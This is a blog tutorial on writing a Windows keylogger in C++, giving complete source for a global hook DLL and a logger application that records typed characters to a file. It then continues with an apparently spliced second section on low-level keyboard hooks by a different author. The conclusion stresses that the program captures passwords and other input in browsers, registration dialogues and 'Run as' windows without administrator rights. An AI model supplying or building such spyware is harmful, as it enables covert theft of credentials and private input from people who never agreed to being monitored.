How to make a keylogger for Windows by yourself?
2015-08-11
Let’s review some Win32 API functions and programming methods in Windows, enough for creating a simple keyloggerEntering simple symbols from the keyboard in Windows (as usual) is reflected by sending WM_KEYDOWN, WM_KEYUP messages to the window where these symbols are entered. These messages send virtual-key codes of pressed keys. They are not convenient to operate because we have to convert them to entered characters by ourselves, considering the current encoding, register, etc. In Win API it is done by TranslateMessage() function. It translates these messages with the virtual-key codes to symbol ones (WM_CHAR) and sends again to the window.
With the SetWindowHookEx function we will place a hook to the filter sending messages in Windows. We are interested in WM_CHAR message. For this we’ll call it with WH_GETMESSAGE parameter. With SetWindowHookEx we’ll set a callback function which will be invoked any time when the message is on a queue. Or rather any time when GetMessage or PeekMessage functions pull out the message from the queue.
Before “giving” a message to the application, the system transfers this message to our hook-function. With hooks we can track an event both in separate field and in all system flows.
We’ll place a global hook. For global hooks, callback function need to be in Dll. Callback function is invoked from different processes, and Dll is loaded in all these processes.
So, we’ll create a dll, where we’ll place a hook, and a callback function will also be inside it. And we’ll also write a main application. We’ll invoke this dll from it. When a dll catches a keystroke – we will inform our main application with sending its a message. When the main app processes this event – a record to the file is made.
MyHookDll.h listing
Here is an interface of our dll. We’ll describe and export two functions - SetHook and UnsetHook. I think, from the title it is clear what these functions are doing. SetHook accepts 2 parameters – windows handle where notification message is sent and the message itself. UnsetHook – without parameters.
#define MYHOOKDLL_API __declspec(dllexport)
#include "windows.h"
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT );
MYHOOKDLL_API int UnSetHook();
}
MyHookDll.cpp listing
And here is dll itself.
#include "MyHookDll.h"
// Global variables
HINSTANCE hInstance = NULL; // The instance of the DLL
// Description of our hook-function
LRESULT CALLBACK KeyboardMsgProc (int, WPARAM, LPARAM );
And here we need to focus on one moment. Inside dll we need to keep at least handle windows and a message. But notice that our dll is uploaded to all processes. And all data in dll (including global) is hInstance-independent. So we’ll announce a special shared section. Data, announced in it, will be available to all its instances. Note that, first of all, all announced variables should be initialized, secondly, the section may have any name, but it is cut by a linker to 8 characters (as it may seems strange when you look at the compiled exe-file)
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Handle of our hook
UINT KBoardMessage = NULL; // Message that we’ll sen to the parental app
HWND hParentWnd = NULL; // Window of the parental app
#pragma data_seg( )
//Directive to the linker to create a shared section with RWS attributes
#pragma comment(linker,"/SECTION:.SData,RWS")
// then, a simple DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
returnTRUE;
}
// Two functions - SetHook and UnsetHook
MYHOOKDLL_API int SetHook (HWND hWnd,// window which should receive notification messages
UINT UpdateMsg) // notification message
{
if (hWnd == NULL) return -1;
// Save received parameters
hParentWnd = hWnd;
KBoardMessage = UpdateMsg;
// Set hook
hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
// If we are failed...
if (hMsgHook == NULL)
return -1;
return 0;
};
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
hMsgHook = NULL;
return 0;
};
// and callback function itself
Depending on the hook type – its callback function returns different information. Our hook returns MSG structure. So, if it is not empty, there is a message - WM_CHAR, and it is pulled out of a queue (because it may “look” at the message for a long time, calling PeekMessage function with PM_NOREMOVE parameter, but can pull it out only once), we send a notification to the application.
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code >= 0)
{
MSG * msg = (MSG * )lParam;
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
}
return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};
That’s all. You can compile.
Main application
It is very simple. And consists of one file
#include "windows.h"
#include "stdio.h"
// Window function
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// A message that we’ll get from the hook
#define WM_HOOKMESSAGE WM_USER+1
// Global variables
HWND hWnd; // Application main window
HINSTANCE hDllInst; // Dll with the hook
//And two functions
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Entering the program
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASS wc;
// Class and the window which will receive a notification about keystrokes
memset (&wc, 0, sizeof(wc));
wc.lpszClassName = "__MyKeyLogger";
wc.hInstance = hInstance;
wc.lpfnWndProc = LogWndProc;
wc.style = CS_HREDRAW | CS_VREDRAW ;
wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
RegisterClass(&wc);
hWnd = ::CreateWindowEx (0,
"__MyKeyLogger",
"My KeyLogger",
WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
0, 0, 200, 200,
NULL,
NULL,
hInstance,
0);
// Uploading dll
hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");
if (hDllInst)
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}
// Setting a hook
if (SetHook)SetHook(hWnd, WM_HOOKMESSAGE);
// Messages cyrcle
while (GetMessage(&msg, NULL, 0, 0))
{
DispatchMessage(&msg);
}
// Unsetting a hook
if (UnSetHook)UnSetHook();
if (IsWindow(hWnd )) DestroyWindow (hWnd );
// Unloading dll
if (hDllInst) FreeLibrary(hDllInst);
// Exit
return 0;
}
// Window function
// The main point in it – processing of our message
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
FILE * f = fopen("a.log","a");
switch (Message)
{
case WM_CLOSE: DestroyWindow(hwnd);
break;
case WM_HOOKMESSAGE:
switch (wParam)
{
// display the “names” for characters
case 0x08: fprintf(f,""); break;
case 0x1b: fprintf(f,""); break;
case 0x0d: fprintf(f,"n"); break;
default
: fprintf(f,"%c",wParam );
}
break;
case WM_DESTROY:
case WM_ENDSESSION:
PostQuitMessage (0);
break;
}
fclose(f);
return DefWindowProc(hwnd,Message,wParam,lParam);
}
Compile!
Keylogger is ready.
Conclusion
Even such simple keylogger can do much. Launched with a simple user rights (not administrator), it can intercept information input in practically any Windows window. Now you have access to the logs of the information entered in the windows of browsers, configuration and registration dialogues, in office applications and “Run as..” window.
However, the input in some windows is not intercepted by our program.
First of all, they are console windows in Win NT/2k/XP. The reason of it is simple - WM_KEYDOWN and WM_KEYUP messages are not translated in WM_CHAR. These windows just don’t receive WM_CHAR message.
Decided to write a program keyboard logger on C++ using WinAPI. I can’t tell that had some spy aim when was writing it, I rather learnt hooks on WinAPI. Since it turned out not so bad, and there are no articles about program loggers on Habr, I decided to write mine.
How it is done?
Keyboard hook was used for keystrokes interception.
HHOOK WINAPI SetWindowsHookEx(`
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
To intercept all keystrokes, it is convenience to announce WH_KEYBOARD or WH_KEYBOARD_LL as idHook parameter. The only difference is that WH_KEYBOARD_LL also intercepts system keystrokes (Alt or any other key with pressed Alt), that’s why we’ll choose it.
lpfn — a pointer to the function which processes intercepted messages (keystrokes in our case)
hMod — an application instance descriptor, containing processing function.
dwThreadId — an identifier of the flow, which messages we want to intercept. This parameter needs to be set to 0 to intercept messages of all flows.
Return Value — a descriptor of our hook, which on exit need to be released by UnhookWindowsHookEx function.
Referring to MSDN, we see a prototype of the function, processing messages of this hook.
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
nCode parameter must be equal to HC_ACTION, otherwise the message will be given to other process.
wParam — is one of the following values of WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
lParam — a pointer to KBDLLHOOKSTRUCT structure, where we are interested only in 2 parameters: vkCode (virtual code) and scanCode of pressed key.
This functions should return a value of CallNextHookEx function, otherwise, next hook processing the event, can receive wrong message parameters.
Each time on key pressing, our program will intercept this message and process it with LowLevelKeyboardProc procedure.
To retranslate a virtual and scan key codes in character appearance, we need ToAsciiEx function.
int WINAPI ToAsciiEx(
_In_ UINT uVirtKey,
_In_ UINT uScanCode,
_In_opt_ const BYTE *lpKeyState,
_Out_ LPWORD lpChar,
_In_ UINT uFlags,
_In_opt_ HKL dwhkl
);
First 2 parameters are virtual and scan key codes.
lpKeyState — a keyboard state checking active/pressed keys.
lpChar — a pointer to a double word, where the key symbolic display is written by the function.
uFlags — a parameter indicating the menu activity.
dwhkl — keyboard layout identifier.
Return Value — a number of characters, written in lpChar buffer. We are interested in the case when one symbol is recorded.
Basically, these are 3 main functions required for the simplest keylogger.